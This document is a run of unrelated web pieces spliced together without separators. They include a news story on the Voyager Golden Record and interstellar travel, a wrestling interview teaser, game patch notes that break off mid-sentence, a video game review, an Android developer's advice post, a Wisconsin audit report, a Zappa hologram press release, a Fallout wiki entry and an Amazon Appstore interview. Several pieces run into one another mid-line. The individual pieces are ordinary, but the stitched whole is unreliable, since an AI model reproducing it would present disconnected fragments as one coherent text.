It contains greetings in dozens of languages, sounds such as morse code, a tractor, a kiss, music – from Bach to Chuck Berry – and pictures of life on Earth, including a sperm fertilising an egg, athletes, and the Sydney Opera House.
Now, Jon Lomberg, the original Golden Record design director, has launched a project aiming to persuade Nasa to upload a current snapshot of Earth to one of its future interstellar craft as a sort of space-age message in a bottle.
The New Horizons spacecraft will reach Pluto in 2015, then is expected to leave the solar system in about three decades. The New Horizons Message Initiative wants to create a crowd-sourced "human fingerprint" for extra-terrestrial consumption that can be digitally uploaded to the probe as its journey continues. The message could be modified to reflect changes on Earth as years go by.
With the backing of numerous space experts, Lomberg is orchestrating a petition and fundraising campaign. The first stage will firm up what can be sent in a format that would be easy for aliens to decode; the second will be the online crowd-sourcing of material.
The rocket carrying New Horizons launched in 2006. The spacecraft is expected to leave the solar system in about three decades. Photo: Terry Renna/AP
Especially given the remote possibility that the message will ever be read, Lomberg emphasises the benefits to earthlings of starting a debate about how we should introduce ourselves to interplanetary strangers.
"The Voyager record was our best foot forward. We just talked about what we were like on a good day... no wars or famine. It was a sanitised portrait. Should we go warts and all? That is a legitimate discussion that needs to be had," he said.
"The previous messages were decided by elite groups... Everybody is equally entitled and qualified to do it. If you're a human on Earth you have a right to decide how you're presented."
"Astronauts have said that you step off the Earth and look back and you see things differently. Looking at yourself with a different perspective is always useful. The Golden Record has had a tremendous effect in terms of making people think about the culture in ways they wouldn't normally do."
Buoyed by the Voyager news, scientists gathered in Houston last weekend for the annual symposium of the Nasa- and Pentagon-backed 100-Year Starship project, which aims to make human interstellar travel a reality within a century.
"I think it's an incredible boost. I think it makes it much more plausible," said Dr Mae Jemison, the group's principal and the first African-American woman in space. "What it says is that we know we can get to interstellar space. We got to interstellar space with technologies that were developed 40 years ago. There is every reason to suspect that we can create and build vehicles that can go that far, faster."
Jeff Nosanov, of Nasa's Jet Propulsion Laboratory, near Los Angeles, hopes to persuade the agency to launch about ten interstellar probes to gather data from a variety of directions. They would be powered by giant sails that harness the sun's energy, much like a boat on the ocean is propelled by wind. Solar sails are gaining credibility as a realistic way of producing faster spacecraft, given the limitations of existing rocket technology. Nasa is planning to launch a spacecraft with a 13,000 square-foot sail in November next year.
"We have a starship and it's 36 years old, so that's really good. This is not as impossible as it sounds. Where the challenge becomes ludicrous and really astounding is the distances from one star to another," Nosanov said.
"Voyager 1 at its current speed, if it was pointed in the right direction – which it is not – would take 50,000 years to get to the next star. And this is the fastest thing ever built."
"Using this system that's going to be flown next year, making some realistic changes to it, you can go two or three times faster than Voyager. That takes the 36-year journey of Voyager to the Heliopause [interstellar boundary] and makes it 18 years or 15 years, and that is starting to get closer to some day where you might be able to propose it to Nasa as a real mission."
Advances in 3D printing could solve one of the biggest challenges to manned long-term space flight: what to eat. Star Trek's "replicators" no longer seem like science-fiction. In May, Nasa awarded a $125,000 grant to a company aiming to print a pizza from long-lasting foodstuffs. The International Space Station is expected to take delivery of an equipment-making 3D printer in 2014.
"You can use 3D printing to make tissue-engineering scaffolds. You can 3D print anything if you could make the base material. So with tissue-engineering scaffolds you print the scaffold that you want and then you would seed it with cells and hopefully grow the tissue of interest," said Dr Ronke Olabisi, a member of the 100-Year Starship research team.
However, even sending astronauts on a two-year round-trip to Mars is deeply problematic, since space's weightless environment and cosmic rays take a huge toll on the body. "Microgravity is huge, as is radiation. So if one doesn't kill you, the other will," said Olabisi.
So the best hope for new discoveries might be to stay at home and look up. Construction on the Square Kilometre Array, the biggest-ever radio telescope, is set to start in 2016. The project is being built in South Africa and Australia and is headquartered at Jodrell Bank Observatory, near Manchester.
Thousands of linked dishes with millions of antennae will create a telescope with a combined collecting area of about one square kilometre, generating more data every day than is currently produced by the entire world's daily internet usage.
The Array is hoped to be fully operational by 2023 and is expected to offer insights into the formation of galaxies after the Big Bang and aid the search for extra-terrestrial life.
According to one theory, we had better hurry up. If humanity does not somehow destroy life on Earth, the universe's natural selection eventually will – through an asteroid strike, perhaps, or a comet collision. "The universe is going to select for life-forms with particular characteristics and the key characteristic is an ability to leave your planet and survive," said Hakeem Oluseyi, assistant professor of physics and space sciences at Florida Institute of Technology.
"Stars are temporary, planets are temporary and if we look at the history of life on Earth the first three-quarters of that life was single-cell organisms and they appear to have this ability that they can survive in space."
"Once your species comes into existence, the clock is ticking... you have so many years, 100 million years or whatever, and then you're going to be wiped out of existence by the universe."Bret Hart isn't a fan of WWE's oft-embattled creative process. In the second installment of our exclusive interview with the WWE Hall of Famer filmed earlier this Summer, Hart didn't mince words when talking about his qualms with long, scripted promos which he feels handcuffs wrestlers. Hart channeled Cody Rhodes' parting shot on Twitter from earlier this year to discuss WWE's shortcomings in getting the most out of otherwise talented athletes.
Hart continued his criticism of one particularly talented athlete in Seth Rollins, as the Hitman doubled down on his comments of Rollins being reckless in the ring following mishaps with John Cena and Sting. Wrestler safety is a very important topic to Hart as he prides himself on never injuring a single wrestler throughout an illustrious career that spans over two decades. Ironically, Hart's own career was ended by an errant kick to the head by Bill Goldberg, who Hart also felt was dangerous in the ring.
Hart's retirement forced him to adjust to a post-wrestling existence, which includes the launch of Sharpshooter Funding, a finance company which assists Canadian small business in gaining access to funds. Hart is the official company spokesman, working alongside his sons Dallas and Blade and managing partner Paul Pitcher, founder of First Down Funding.
"Our products and solutions are in the birth stages here in Canada, and I am excited to help all Canadian business owners in all Provinces across Canada seven days a week. Unless the puck is dropping here in Calgary, I am always available for Canadian business owners," said Dallas, who serves as Sharpshooter Funding's Vice President of Sales.
But even as he ventures into the world of finance, Hart is never too busy to discuss his first love of professional wrestling and the current state of the business. In another controversial interview that is sure to ruffle some feathers, Bret Hart lets loose on a wide array of subjects.
Watch Part 1 of House Money Studios' exclusive interview with "The Hitman" here, and check back for Part 3 soon.Here are today’s PTS patch notes. This will be the final updates to the 3.3 PTS.
PTS Update – June 26th, 2015 | 06.25.2015, 08:06 PM
Hey folks!
We are going to be doing a final update to the PTS tomorrow, 6/26. I’m aiming to get things kicked off around 930AM CDT.
In the meantime, here are the changes coming:
Jedi Consular
Sage
Vindicate now makes you Weary, reducing your Force regeneration rate by 2 for 10 seconds. This effect can stack up to 4 times.
Seer
The Vindicate effect of Resplendence has been expanded: Using Vindicate with a charge of Resplendence does not make you Weary.
Amnesty has been redesigned to incorporate the new Weary debuff: Spending a charge of Resplendence on Vindicate grants Amnesty, restoring 2 Force every second for up to 10 seconds if you are not Weary or removing a single stack of Weary otherwise. The Amnesty effect will be lost early if Vindicate is activated without a charge of Resplendence.
Sith Inquisitor
Sorcerer
Consuming Darkness now makes you Weary, reducing your Force regeneration rate by 2 for 10 seconds. This effect can stack up to 4 times.
Corruption
The Consuming Darkness effect of Force Surge has been expanded: Using Consuming Darkness with a charge of Force Surge does not make you Weary.
Reverse Corruptions has been redesigned to incorporate the new Weary debuff: Spending a charge of Force Surge on Consuming Darkness grants Reverse Corruptions, restoring 2 Force every second for up to 10 seconds if you are not Weary or removing a single stack of Weary otherwise. The Reverse Corruptions effect will be lost early if Consuming Darkness is activated without a charge of Force Surge.
Lightning
Thundering Blast now has a travel time to match the Turbulence ability of the Telekinetics Sage.
Warzones
Medals for Arenas (this change does not affect Warzones) have been adjusted to better reward characters that engage in meaningful participation for their role. In addition, the kill amounts were reduced to better reflect the content |
, Kat hovers, and you aim where you want to have her "fall." It may sound a bit tough to wrap your head around, but once you get going, it's a breeze to feel comfortable and powerful with the system. Falling into the sky, hovering above the watercolor rooftops, and then shooting off to a faraway mission -- it's a setup that feels fantastical and makes the world a joy to explore.
Trouble is: combat gets clunky. In the beginning, Kat's facing off against nevi the size of small dogs, so walking up and punting them is pretty easy. However, then you're introduced to elephant-sized monsters with weak points located on their backs, which is where the controls can grate. When you're up high and get a bead on a baddie, the reticle will get a red ring around it letting you know you have a shot at the weak point. You hold down the kick button, and Kat soars in for an attack. However, sometimes the enemy will move or shift ever so slightly, and she'll sail by without making contact.
In the beginning, this isn't a big deal. You just jump in the air and try again, but when you're late into the 10-hour campaign and fighting flying worm-monsters, it's frustrating to be getting blasted by smaller enemies, miss a hit and have to work your way back into the sky to reposition for the kill. Gravity Rush throws you a bone by giving you some special attacks that lock on the weak point targets, but they have a cool down period, so sometimes I'd just hang out behind buildings and wait for the special attack to recharge rather than try air kicks.
Exit Theatre Mode
Don't let that spoil the whole package, though. Gravity Rush is more than those late-game battles. Watching Kat interact with the citizens of Hekeville and get flustered when complimented is endearing. Pink gems are scattered throughout the city for you to collect and use to upgrade Kat's abilities -- her health, her attacks, and so on. The only trouble is that for as pretty as the graphics in this game are, the relatively mediocre draw distance can make targeting those gems tough and the visuals look bland.
The gems also unlock challenges around the city. These are the game's side missions -- enemy brawls and races that reward you with more gems and a spot on the online leaderboards. (Full disclosure: the leaderboards are not working at the time of this review, but, uh, they're leaderboards, so you probably get the idea.) They're enjoyable, but I would've preferred more traditional side quests instead of challenges. Gravity Rush is strictly main story missions and these leaderboard ops.
One of those race types focuses on the Gravity Slide. This is one of those "Vita-only" instances. You put both thumbs on the front touch, Kat takes off sliding, and you tilt the system left and right to steer her down the course. I'm notoriously not a fan of motion controls, but Gravity Rush is an example of how to do them right. I'm actually looking forward to going back and trying to get gold medals on these races. The same can be said for the other touch controls in the game. When you've worn a boss down in Gravity Rush, a blue circle appears around them. You tap it, and Kat dishes out a cinematic finisher. Cool.
Greg is the executive editor of IGN PlayStation, cohost of Podcast Beyond and host of Up at Noon. Follow IGN on Twitter, and keep track of Greg's shenanigans on IGN and Twitter. Beyond!Revisiting the terrorist attack on Kenya's Westgate Shopping Mall in September 2013, when four gunmen killed 71 people. Featuring CCTV footage and interviews with the survivors.
In 2013, four gunmen walked into a crowded shopping mall in Nairobi, Kenya and set about systematically murdering shoppers. The entire attack was recorded by more than 100 security cameras. Drawing on the thousands of hours of footage, this is the chilling and dramatic account of a terrorist attack that shocked the world.
Featuring moving interviews with the men, women and children who came face-to-face with the terrorists and survived, such as Amber Prior. She had already been shot in the hip - and her two young children had witnessed people killed around them - when she made a remarkable decision to confront a gunman.
As well as documenting the brutality of the gunmen from the Somalian group al Shabaab, who killed 67 people, the film charts the extraordinary bravery of the plainclothes police officers and civilians who risked their lives to rescue trapped shoppers.Mike Kitchen, a volunteer at Ears To Our World, purchases and tests radios for us. Mike does an excellent job evaluating radios and simply keeping tabs on newly introduced self-powered products.
Mike has kindly allowed me to share the assesment he sent of the Commando R-777; a radio that, performance-wise, leaves something to be desired.
Mike writes:
This thing is pretty awful, in an ugly/cute way. FM mode works quite nicely. In AM mode, LCD screen shows as much as 8 KHz off of actual frequency. SW1 and SW2 modes failed to detect anything on the shortwave bands. The WWV time signal on 10MHz, 15MHz and 20MHz was no joy. Steady charging with crank handle for 2 minutes provided 20 minutes of low volume listening time. From a depleted battery pack, one minute of cranking/charging will keep LED bulb lit for about 10 minutes of usable light, then dim light for few more minutes. [As a point of comparison, the Grundig FR200 could provide almost an hour of light from one minute of cranking.] The carry handle makes for a good grip while cranking what is described as the “Shakeable Generator” handle. This radio has roots from the Grundig FR-200, being same dimension and weight. This R-777 had a sturdy feel to it. The charging handle feels very much like any other FR-200’s while one is cranking, except this R-777 is much quieter. None of the funky whining sounds as with older versions. I’m going to keep this R-777, as a reminder of how a good idea can be half heartedly attempted, resulting in such a poor product.
I believe Mike and I both miss the Grundig FR-200.
With that said, we still have the Tecsun Green-88 available on eBay ; a radio almost identical to the FR200.
You can click here to search eBay for the Tecsun Green-88 or the Commando R-777.
Mike, thanks for sharing your mini review!
RelatedDid any of you Londoners take OnePlus up on yesterday’s one-hour-or-it’s-free delivery offer? The promotion sounded pretty neat, and we’re only upset that it wasn’t available in more areas. Today’s OnePlus news, on the other hand, has a much broader reach – though not all of it is particularly good news, depending on your shopping preferences.
First we’ve got some news about OnePlus 2 sales. Historically, OnePlus has made the handset available in two main configurations, dictated by their storage capacity: a 16GB and a 64GB edition. According to OnePlus, shoppers interest in the 64GB model has been so significant that the company is shutting down sales of the 16GB model in markets around the world, including the US and Europe. While that only leaves the more expensive OnePlus 2 remaining, there’s always the OnePlus X if you’re looking to keep costs down.
We’re also hearing about an update for the OnePlus One, as OnePlus releases OxygenOS 2.1.4 for the handset. It doesn’t retain every feature as OxygenOS on the OnePlus 2, losing some audio enhancements and advanced camera features like manual mode and RAW support, but it’s still mostly all in place, and OnePlus reports that things should be fully optimized for the older hardware.
The big wrinkle here is that there’s no OTA update available for this release, and you’ll have to manually flash things to get the software on your phone. Be sure you follow OnePlus’s instructions carefully if you pursue this route, as there’s the risk of breaking your phone’s radio if you go about it the wrong way.
Source: OnePlus, Tech Radar
Via: XDA Developers, Phone DogFlying Solo with Android Development
Anita Singh Blocked Unblock Follow Following Mar 22, 2017
Photo credit : http://www.magic4walls.com/crop-image?id=14269
My Android career started two-and-a-half years ago, when I transitioned from back-end development to mobile development, along with the support of a four-person Android team. A year later, I joined a series-B startup, where I was one of two Android engineers for most of my time there. Working on small teams was a great way to have independence and also learn from other engineers.
But then, five months ago, I took a leap from small team to no team when I joined a seed-funded startup of six employees as their only Android engineer. In my new role, I’ve been building the Winnie app from scratch, which just got released!
It turns out this was a big leap. Flying solo has been a challenge, but it’s also been extremely rewarding. I’ve learned along the way that there are pros and cons to working alone. Most importantly, there are things you can do to set yourself up for success. Here are some of the tactics that have helped me thus far.
Be connected with the community. Do your homework.
One of my worries about going solo was not having Android teammates to discuss new ideas with or be a sounding board for their ideas, which I’ve thoroughly enjoyed in my previous roles.
The good news is that there are tons of resources available online to expand your knowledge and perspectives. From online talks from various conferences such as DroidCon, 360|AnDev, etc to your timely dose from Fragmented Podcast, Android Dialogs and Android Weekly, there are many ways to broaden your thinking.
My personal favorite is Caster.io — the code samples with every bite-sized lecture keeps me on my toes! Local meet ups or virtual communities like the AndroidDev subreddit, Google+ communities, Slack groups and Twitter are great places to continue the conversation and ask questions when stuck!
Review your own PR’s and maintain high standards.
I highly encourage opening PR’s and then reviewing them yourself. It will feel silly commenting on your own PR’s, but I think it’s a healthy habit when working by yourself (also discussed in this relevant Android Dialogs episode).
I do a first-pass using the preview feature of Github, and then let it sit for a while before I look at it again. I try my best to review my PR’s as I would review PR’s from a peer, and thus hold myself to the same standards. A second look at all your code also helps catch bugs and edge-cases, as well as keeps your code consistent and clean.
A “bad” pattern is often better than no clear pattern.
You will have to make many decisions — should you use MVVM, MVP, Flux, and/or another architectural pattern? Fragments or custom ViewGroups? What should have abstractions and what shouldn’t?
It’s not uncommon to start with one pattern and then realize another pattern is better when you’re at the beginning of a project, which leads to either some refactoring or diverging of patterns.
While it makes sense to break your patterns for certain cases, it is best to be mindful of refactoring and changing it consistently everywhere when you’ve found something you like better. This might sound obvious but it’s easy to just use the new pattern for all the new code when you’re working by yourself, which can quickly result in a confusing and incoherent codebase before you know it! Even if the patterns aren’t great, consistency makes it easier to fix down the line.
Strongly consider using Kotlin.
Especially if you are starting from scratch! If not, consider giving it a shot with the next class you’re going to write.
I didn’t end up using Kotlin because I wasn’t confident about pitching the idea, since I had zero experience with it at the time and didn’t want to discourage the back-end Java developers on the team from contributing to the codebase.
However, after watching Christina’s talk on Kotlin and doing more research, if I were to do it again, I’d have at least tried it. Kotlin has plenty of advantages — even just avoiding crashes because of null pointer exceptions and not dealing with Java boilerplate has me sold! This talk by Jake Wharton is also a great starting-point.
Try to keep control by not being too reliant on third-party libraries.
I remember spending a bunch of time trying to decide on a library to use for MVP, as there are many of them. While being spoiled for choice is a great problem to have, I ended up implementing a simple version myself and have been very happy with it!
When choosing what third-party libraries to use, I’d suggest considering whether you really need it and how it would restrict the development of the app in the future — does it make unit testing harder? Does it restrict using features that Android gives for free, like transition animations between screens? Is it actively under development and do many apps use it? This helped me make informed trade-offs and decisions.
I’d recommend optimizing for retaining as much control as possible without reinventing the wheel. There is a library out there for pretty much everything, but you’re better off implementing some stuff yourself.
Have a testing and accessibility plan.
If you are building from scratch, it is very exciting that you have a chance to do this right from day one! And if not, you can try doing it right with all the new code you write!
It isn’t uncommon that testing and accessibility take the backseat when trying to hit aggressive deadlines — and when you’re solo, it can be harder to find time for it since you aren’t sharing the load with anyone else.
I will admit that I am only in the beginning of this journey myself, however I wrote code with testing in mind by using dependency injection, Model View Presenter pattern, exposing only interfaces of my model objects to the UI, and so forth with the goal of making it easier to test. I also had CircleCI build after each commit from the beginning of the project, as a sanity check and to get closer to running tests.
For accessibility, I add content descriptions whenever I can, and use the Accessibility Scanner before a release to figure out what I should focus on next. There is definitely more work to be done, but it is a start. Here is a great talk by Kelly Schuster on actionable steps that developers can take to make their apps more accessible.
If you aren’t able to spend time on writing tests, then have a manual testing plan handy. For example, write down different test cases (positive, negative) in a document for each feature and make sure to test those before every release! Set deadlines for yourself to start writing tests, and do the same for accessibility improvements, otherwise they’ll most likely never get done.
Tell your iOS designers that they are wrong and look for potential Android converts :-).
Don’t be afraid to stand up for what is right for your platform! When you’re solo, you are responsible for bringing others up to speed with the latest Android UI patterns, as well as the codebase.
I mostly worked off iOS screenshots but used the material design spec and well-designed Android apps as resources to help me convert those designs to Android. Also, there is nothing better than linking to the official material design documentation to make your point!
Regarding the codebase, I helped bring my CEO up to speed with our architecture and concepts like MVP, Dagger2, RxJava2 and so forth when she helped out for a couple of months. I’d recommend keeping a lookout for potential Android converts, as explaining your decisions to someone or teaching them a new concept helps you really own it or alternatively, realize your mistake.
Go to beta as early as possible.
This is applicable if you are working on app that hasn’t been launched yet or are making major changes to an existing app. Google play has an alpha and beta channel, and within the beta channel you can either have a closed or open beta.
If you are working on an existing app, you can still have a beta run in parallel, so long as it’s version is higher than the production app. If it is an open-beta, users will be able to opt in on the playstore or by clicking on a link. If you are trying to test out changes of a smaller scale, then staged-rollouts might be better for that.
If you are working on a new app, I’d suggest having a closed beta as soon as possible, and converting that to an open beta when it’s ready, before the launch. Our first closed beta had very few features, but it helped us iron out bugs early on, get onto a regular release train and receive valuable feedback throughout the process. This also resulted in a stress-free and smooth launch!According to a report from Wisconsin’s nonpartisan Legislative Audit Bureau (LAB), Gov. Scott Walker’s (R) job creation agency repeatedly violated both agency policies and state laws.
The Wisconsin Economic Development Corporation is the state’s “lead economic development organization,” and was set up by the Walker administration in 2011. The WEDC is not technically a state agency, but it is “funded almost entirely with state funds,” the LAB said.
During its biennial audit and program evaluation of the WEDC, LAB found that the agency gave tax dollars to corporations to assist them in creating jobs. It did not, however, double check to make sure that the companies were actually using the money for its intended purpose.
The audit found that the WEDC “gave loans and tax credits to companies that did not meet its requirements, and did not even attempt to fact-check claims by the companies about the number of jobs they created,” ThinkProgress reported. “Additionally, the agency forgave, wrote off, or deferred more than $4 million in loan payments that the corporations were supposed to pay back to the state.”
Specifically, LAB found that:
WEDC’s contracts for grants and loans did not contain all statutorily required provisions and did not consistently comply with WEDC’s policies. Grant and loan recipients that were contractually required to create or retain jobs were not contractually required by WEDC to submit information, such as payroll records, showing that the jobs were actually created or retained.
In 2014, the potentially uncollectible balance of loans with repayments 90 days or more past due decreased by $4.2 million largely because WEDC amended loan contracts to defer loan repayments, wrote off loans, and forgave loans.
WEDC did not establish all statutorily required policies for its tax credit programs, did not consistently evaluate whether businesses met all eligibility requirements in its tax credit policies, and allocated tax credits in ways that did not consistently comply with statutes and its policies.
WEDC’s October 2014 economic development program report addressed certain concerns we had noted in report 13-7. However, it did not contain clear, accurate, and complete information on program outcomes, including the numbers of jobs created and retained as a result of awards it made. In addition, WEDC’s data likely did not fully reflect the numbers of jobs created and retained through [fiscal year] 2013-14, and award recipients had additional time to create and retain the expected jobs.
Although WEDC improved its financial management practices in [fiscal year] 2013-14, its policy for managing its fund balance allowed it to maintain an unassigned fund balance of $15.6 million as of June 30, 2014, which was larger than necessary.
Staff did not consistently comply with policies established by the governing board, and the policies did not consistently comply with statutory requirements.
This is not the first time the WEDC has come under fire. In 2013, another audit “found the agency repeatedly failed to follow state laws regarding the use of public funds.” In 2014, Eaton and Plexus, two companies that received money from the WEDC, both laid off hundreds of workers in Wisconsin while outsourcing jobs to Mexico.
The WEDC has the stink of GOP politics all over it. Under the guise of helping the “job creators” actually create those jobs they pretend to, the Walker’s agency just handed out even more gifts to corporations.Zappa Family Trust working with Eyellusion on multiple groundbreaking productions that will feature former bandmates in celebration of late music legend’s art, life and legacy.
LOS ANGELES – SEPTEMBER 21, 2017 – Eyellusion, live music’s premier hologram production company, today announced that it will work closely with the Zappa Family Trust to produce hologram performances of Frank Zappa, giving fans an opportunity to experience the prolific, eclectic and critically acclaimed music legend live in concert again. Production for the Zappa shows will kick off in late 2017, with performances announced later in 2018.
“I’m thrilled that Frank Zappa will finally be going back out on tour playing his most well-known music as well as some rare and unheard material,” said Ahmet Zappa, co-Trustee of the Zappa Family Trust. “We can’t wait to bring his creative work back to the stage with the musicians he loved to play with, such as Steve Vai, Ian Underwood, Adrian Belew, Arthur Barrow, Vinnie Colaiuta, Scott Thunes, Mike Keneally, Denny Walley, Warren Cuccurullo and Napoleon Murphy Brock among others who are committed to being part of this epic endeavor. When I spoke with them, they were excited at the prospect of performing alongside Frank once again and can’t wait to give fans an unforgettable experience.”
He continued, “Also, how radical would it be to have Moon singing ‘Valley Girl’ onstage with Frank? Or to see Dweezil side by side with our father playing dueling guitar solos? That would be my greatest wish and I look forward to bringing this special celebration of Frank’s legacy to a town near you. But if that wasn’t enough Zappa coolness, we’re also planning on staging Joe’s Garage The Musical with none other than Frank Zappa himself starring as the Central Scrutinizer.”
“Frank was an innovator and his art transcended so many different mediums,” said Diva Zappa, co-Trustee of the Zappa Family Trust. “He left behind such an extensive body of work and we want to celebrate his music with really creative and unique live hologram productions that will introduce his music to a new generation of fans and let so many that enjoyed his music when he was alive experience it again. We have had this idea for many years and after meeting with the team at Eyellusion, we knew that they were the right partner to make it a reality.”
“We work closely with the Zappa family on their various projects, and look forward to sharing new Frank Zappa performances with his longtime fans, as well as expanding his audience to give new fans the opportunity to share in that experience” adds Bruce Resnikoff, President and CEO, Universal Music Enterprises.
“We are thrilled to welcome such a monumental and important artist to our lineup of planned live music hologram productions,” said Jeff Pezzuti, CEO, Eyellusion. “Frank Zappa was an incredible musician, unmatched in his output, tackled so many different genres and influenced a generation of artists that would go on to help further shape rock and pop for decades to come. We are music lovers first and can’t wait to get to work on yet another show that lets fans experience such timeless and important music in a live concert setting.”
Stay tuned to Zappa.com for tour dates and further lineup announcements.For an overview of rocks that appear in the Fallout series of games, see Rock.
Fallout / Fallout 2 weapon Rock Damage damage 1-4 damage type Normal Attacks Throw Punch Requirements strength req. 1 hands req. 1 Other weight 1 pound value 0 0 Technical prototype id 00000019
“ It's a rock. The Granite-Inc. model is an upgraded version. ” Fallout and Fallout 2 description anddescription
The rock is a weapon in Fallout and Fallout 2.
Characteristics Edit
A rock is a naturally occurring aggregate of minerals and/or mineraloids. Rocks can be picked up and thrown in using Throwing skill or used to strengthen with melee attacks in using Unarmed skill. Besides rocks, there are also gold nuggets and uranium ore which can be used in the same way.
Locations Edit
The locations rocks can potentially be found in both Fallout games are too numerous to list; suffice to say that if someone ever finds themselves looking for rocks, they will not have to go far. Specifically, children use them as a weapon.Minneapolis Mayor R.T. Rybak says his city is more than willing to welcome gay wedding parties -- and their dollars -- to his city. Kim Vatis reports. (Published Thursday, Sept. 5, 2013)
Minneapolis Mayor R.T. Rybak was in Chicago Thursday to unveil a new digital and print campaign designed to convince Chicago same-sex couples to legally marry in his city.
The "I Want To Marry You In Minneapolis" ads have already started appearing in local publications such as the Windy City Times, and feature the owners of Minneapolis businesses who are ready to help Chicago couples "plan an unforgettable wedding day."
Rybak, a vocal proponent of same-sex marriage in Minesota, discussed the campaign Thursday morning at a news conference at Boystown's Center on Halsted.
"Chicago is my kind of town, but it's a second city with human rights, and right now that gives an incredible competitive advantage to Minneapolis," Rybak said. "I hope the day comes very soon that all Illinoisans can marry the person that they love, and I strongly encourage the Legislature and Governor Quinn to pass marriage equality as soon as possible -- but until that day comes, I'm here to steal your business."
Mayor Unveils "I Want To Marry You In Minneapolis" Campaign
Minneapolis Mayor R.T. Rybak spoke in Chicago's Boystown neighborhood Thursday about the campaign designed to lure local same-sex couples to Minneapolis to legally marry. (Published Thursday, Sept. 5, 2013)
When asked if poaching business on another mayor's turf was fair, Rybak quipped, "Have you met him, Mayor Emanuel? He would do it to me any day of the week I'm sure."
Rybak made headlines on Aug. 1 when he performed 46 same-sex weddings from midnight to almost 7 a.m. to celebrate the first day that Minnesotans were allowed to legally marry. Since then, one-third of marriage applications in Minnesota have been for same-sex couples.
Illinois approved civil unions in 2011, but lawmakers failed to call gay marriage to a vote during this year's spring session. The Legislature is expected reconsider the measure during the November session.
Pride Parade-Goers Push for Gay MarriageWhen we published a piece reporting on the recent decision of game developer Bithack to pull its popular title Apparatus from the Amazon Appstore, we contacted Amazon asking for comment on the whole situation.
Earlier this week, Amazon got back to us and wanted to sit down and discuss the Appstore and some of the issues that developers and customers alike have had. While Amazon could not specifically discuss the complaints of Bithack for confidentiality reasons, they were able to generally talk about some of the concerns Bithack raised.
Today, I spoke with Aaron Rubenson, Category Leader (essentially, head of business) of the Amazon Appstore. We had a discourse on some of those concerns that allowed Amazon to clarify (and justify) a few things in regard to the Appstore. This article combines what I heard from Aaron with my own commentary in order to provide context and make the whole thing somewhat understandable - as the conversation itself probably wouldn't have read too well. So, let's get down to it.
Device Filtering
If you recall from the Apparatus article, various developers have complained that the Amazon Appstore - particularly during the Free App of the Day promotion - seems to allow scores of customers to download and install apps and games which are incompatible with their respective device. The developer of Apparatus, in particular, claimed that Amazon was not utilizing the device manifest filter he provided as part of his application. He noted that some obsolete devices (which he had never even heard of) were able to download and install Apparatus, only to get an inevitable force close.
This, then, results in scores of 1-star reviews from upset customers who can’t automatically initiate a refund (ala the Market), but we’ll talk about that a bit later. While Amazon wouldn’t address Bithack’s issue directly, they responded to and expanded on the two larger issues Bithack raised. Kind of.
Device Manifest Filter
Aaron was able to share some information that you can draw your own conclusions from about how Amazon does device filtering. Amazon does, as part of the application testing process, make use of that device manifest filter provided by developers as a part of every app or game. But it was implied (note: nothing was explicitly admitted) that Amazon doesn’t consider that filter the final word in terms of which devices can run a particular app. They “do things a little differently.”
Exactly what steps Amazon takes in determining compatibility and their process in making those determinations, they weren’t able to share. But, they did acknowledge the existence of customer reviews from users that have downloaded and installed applications from the Appstore which are clearly incompatible with their respective devices. So, take what you will from that.
Purchasing From A Non-Compatible Device
In the Amazon Appstore web interface, regardless of your device, you can purchase any app from the Appstore. You’ll receive a warning if your device is incompatible with an app you’re attempting to purchase, but unlike the Android Web Market, Amazon will still let you make the purchase. However, if you then try to download and install the app on that incompatible device, the Amazon Appstore application will prevent you from doing so. But, you’re definitely given fair warning.
So, to make it crystal clear: the Amazon Appstore won’t let you download or install an app that Amazon deems incompatible with your device.
But why does Amazon even let you purchase incompatible apps, some have asked. There’s actually a really good reason: to take advantage of the Free App of the Day, special discounts, and other temporary offers so that you may download and install the app at a later date when you have a compatible piece of hardware. This really is kind of nice - particularly if there’s a killer deal on a tablet-specific app, and you don’t own a tablet, but plan to in the future.
Refunds
Refunds have been a touchy subject in regard to the Appstore since the day of its announcement. Amazon, like a certain other highly popular curated app store, has a no-return policy. It also doesn’t allow developers to initiate refunds to customers on their own. This has caused some friction for developers who are far more used to the Market’s 15-minute window, as well as the ability to manually refund any one customer’s purchase.
This means upset customers often find themselves with no recourse when they download and install an app that either doesn’t work, or is simply incompatible with their device (check out the 1-star reviews of any popular game title in the Appstore - you’ll find such complaints). But this isn’t quite the case. Amazon wants to make it known that, should you download an app that truly does not function or which is incompatible with your device, you can contact Amazon Customer Service and ask for a full refund. Typically, they’ll give it to you - you just need to ask.
Why doesn’t Amazon allow developers to make that call on an individual basis? They want a consistent customer service policy across the Appstore, and as the “seller” of those applications (as opposed to the Market, which is more of a listing service), Amazon believes they should be the ones providing that service. Is this reasoning completely compelling? I wouldn't say it's totally convincing - but, I can see where they’re coming from.
In regard to the decision not to have a return window, Amazon claims that providing a time-based refund window hurts sales for developers with apps that users often only need once or twice. This is the same sort of reasoning Google provided when it reduced the Market return window to 15 minutes, and it doesn’t sound like a philosophy Amazon’s too willing to budge on.
But what about getting in touch with a developer to give feedback? There seems to have been a lot of issues, particularly for the developer of Bithack, in this arena. In my opinion, customer-developer communication is still a somewhat problematic area in the Appstore.
The developer of Apparatus was rather perplexed by the precipitous drop in customer feedback his game received once he moved it to the Appstore, aside from the many reviews written by customers.
He can likely thank the lack of a “Contact the Developer” button anywhere in the Appstore application or web interface. Amazon makes getting in touch with a developer a less than intuitive task, and provides no dedicated mechanism for direct contact. While developers can insert contact information manually in the Developer Info section of their respective app page on Amazon’s web interface, it’s fairly far down the page, and leaves customers with a process that takes more than one click in order to initiate contact.
In the mobile application, there is a well-labeled “Feedback” button on every mobile app page. Unfortunately, the Feedback button doesn’t exactly scream “Contact the Developer,” I think we can all agree. When we see a feedback option, we probably assume it’s referring to feedback for Amazon (which, considering the feedback options you’re presented with, it mostly is). But, any relevant feedback received regarding the app will be sent along to the developer - so don’t be afraid to use it.
Each app page also does have what’s called a “Discussion” area, where users can create threads and developers can respond, but it’s near the bottom of the page, where no one but the developer is likely to look in the first place. Clearly, developer-customer communication is an area of the Appstore Amazon is still refining, and, as Aaron told me, is something they’re constantly listening to feedback on and discussing.
And what about submittable application crash reports and logs? Well, Aaron couldn’t discuss specific plans about the future of the Appstore, but there wasn’t exactly a denial that this was something they had been exploring. And really, it only makes sense that they would.
Review System
Still, obviously most negative feedback will end up in the review pile, which is what we discussed next. Why? Because Amazon allows fairly long reviews to be submitted (very much unlike the Market), and the reviews section of an app page is probably where most people head to immediately. Unfortunately, developers have no way of responding to these reviews, though there are some major concerns about implementing such a feature, as Aaron explained to me.
